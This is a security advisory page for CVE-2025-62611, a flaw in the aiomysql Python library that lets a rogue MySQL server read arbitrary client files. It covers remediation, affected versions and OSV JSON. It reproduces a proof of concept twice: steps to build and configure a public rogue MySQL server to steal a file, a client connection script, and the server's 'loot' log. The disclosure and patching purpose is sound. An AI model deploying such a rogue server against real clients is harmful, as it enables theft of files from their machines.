CVE-2025-62611: Aiomysql Aiomysql Allows Arbitrary Access To Vulnerability

HIGH
Advisory Identifier: GHSA-r397-ff8c-wv2g
CWE-73
Published
Advisory Summary

CVE-2025-62611 is a HIGH aiomysql allows arbitrary access to vulnerability (CWE-73: External Control of File Name or Path) affecting Aiomysql libraries in the PyPI ecosystem. The issue involves aiomysql allows arbitrary access to client files through vulnerability of a malicious mysql server. Remediation is available by upgrading affected packages to version 0.3.0.

CVE-2025-62611 at a Glance

CVE Identifier CVE-2025-62611
GHSA Identifier GHSA-r397-ff8c-wv2g
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Aiomysql
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2025-62611

To remediate this vulnerability, upgrade all affected Aiomysql dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

aiomysql fixed: 0.3.0
pip install aiomysql>=0.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show aiomysql

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-62611, inspect your installed packages using pip:

pip show aiomysql

Analyze the terminal output to locate any version of Aiomysql in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.3.0), your application is affected.

Note: The pip show aiomysql command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Aiomysql, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server. ### Details It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503. ### PoC First, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server 1. Create a file to be stolen by the rogue server: `echo "gotcha" > /tmp/my_secret_file.txt` 2. Clone the repo: `git clone git@github.com:rmb122/rogue_mysql_server.git && cd rogue_mysql_server` 3. Build the server: `make rogue_mysql_server` 4. Generate a sample config: `rogue_mysql_server -generate` 5. In `config.yaml` change `file_list` to `["/tmp/my_secret_file.txt"]` 6. Run the server: `./rogue_mysql_server -config config.yaml` Next, the vulnerability can be seen in action with the following script, which can be run in a second terminal: ```python3 import asyncio import aiomysql loop = asyncio.get_event_loop() async def test_example(): conn = await aiomysql.connect( host="127.0.0.1", port=3306, user="root", password="", db="mysql", loop=loop, local_infile=0, # note that we explicitly forbid local_infile ) cursor = await conn.cursor() await cursor.execute("SELECT 1") print(cursor.description) r = await cursor.fetchall() print(r) await cursor.close() conn.close() loop.run_until_complete(test_example()) ``` The rogue server will output log messages indicating successful file read and save the contents in the `loot/` directory ``` level=info msg="Client from addr [xxx], ID [1] try to query [select 1]" level=info msg="Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]" level=info msg="Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]" level=info msg="Client leaved, Addr [xxx], ID [1]" ``` ### Impact This vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised. ### Fix suggestion Can be fixed by porting relevant changes from PyMySQL – https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267

CVE-2025-62611 Affected Aiomysql Versions

1 component(s)
Fixed Versions:
0.3.0
Product / Package Ecosystem Affected Versions Fixed Version
aiomysql
PyPI
< 0.3.0
0.3.0

References

Frequently Asked Questions

What is CVE-2025-62611?
CVE-2025-62611 is a security vulnerability in Aiomysql involving aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server under CWE-73: External Control of File Name or Path.
Which Aiomysql versions are affected?
Affected versions include releases prior to 0.3.0 across affected packages: aiomysql.
What version fixes CVE-2025-62611?
Upgrading to 0.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is aiomysql affected?
Yes, aiomysql is affected in releases prior to 0.3.0. Upgrade your dependency to 0.3.0 or later.
What CWE is associated with CVE-2025-62611?
CVE-2025-62611 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check PyPI dependencies for CVE-2025-62611?
Run the dependency tree command: 'pip show aiomysql'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r397-ff8c-wv2g",
  "modified" : "2025-10-23T17:38:48Z",
  "published" : "2025-10-22T16:47:10Z",
  "aliases" : [ "CVE-2025-62611" ],
  "summary" : "aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server",
  "details" : "### Summary\nThe client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.\n\n### Details\nIt is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.\n\n### PoC\nFirst, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server\n\n1. Create a file to be stolen by the rogue server: `echo \"gotcha\" > /tmp/my_secret_file.txt`\n2. Clone the repo: `git clone git@github.com:rmb122/rogue_mysql_server.git && cd rogue_mysql_server`\n3. Build the server: `make rogue_mysql_server`\n4. Generate a sample config: `rogue_mysql_server -generate`\n5. In `config.yaml` change `file_list` to `[\"/tmp/my_secret_file.txt\"]`\n6. Run the server: `./rogue_mysql_server -config config.yaml`\n\nNext, the vulnerability can be seen in action with the following script, which can be run in a second terminal:\n```python3\nimport asyncio\n\nimport aiomysql\n\n\nloop = asyncio.get_event_loop()\n\n\nasync def test_example():\n    conn = await aiomysql.connect(\n        host=\"127.0.0.1\",\n        port=3306,\n        user=\"root\",\n        password=\"\",\n        db=\"mysql\",\n        loop=loop,\n        local_infile=0, # note that we explicitly forbid local_infile\n    )\n\n    cursor = await conn.cursor()\n    await cursor.execute(\"SELECT 1\")\n    print(cursor.description)\n    r = await cursor.fetchall()\n    print(r)\n    await cursor.close()\n    conn.close()\n\n\nloop.run_until_complete(test_example())\n```\n\nThe rogue server will output log messages indicating successful file read and save the contents in the `loot/` directory\n```\nlevel=info msg=\"Client from addr [xxx], ID [1] try to query [select 1]\"\nlevel=info msg=\"Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]\"\nlevel=info msg=\"Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]\"\nlevel=info msg=\"Client leaved, Addr [xxx], ID [1]\"\n```\n\n### Impact\nThis vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.\n\n### Fix suggestion\nCan be fixed by porting relevant changes from PyMySQL – https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "aiomysql"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.3.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.2.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/aio-libs/aiomysql/security/advisories/GHSA-r397-ff8c-wv2g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-62611"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/aio-libs/aiomysql/pull/1044"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/aio-libs/aiomysql/commit/32c4520dae3711367ded74a4726dcb8bb8919538"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/aio-libs/aiomysql"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-22T16:47:10Z",
    "nvd_published_at" : "2025-10-22T20:15:38Z"
  }
}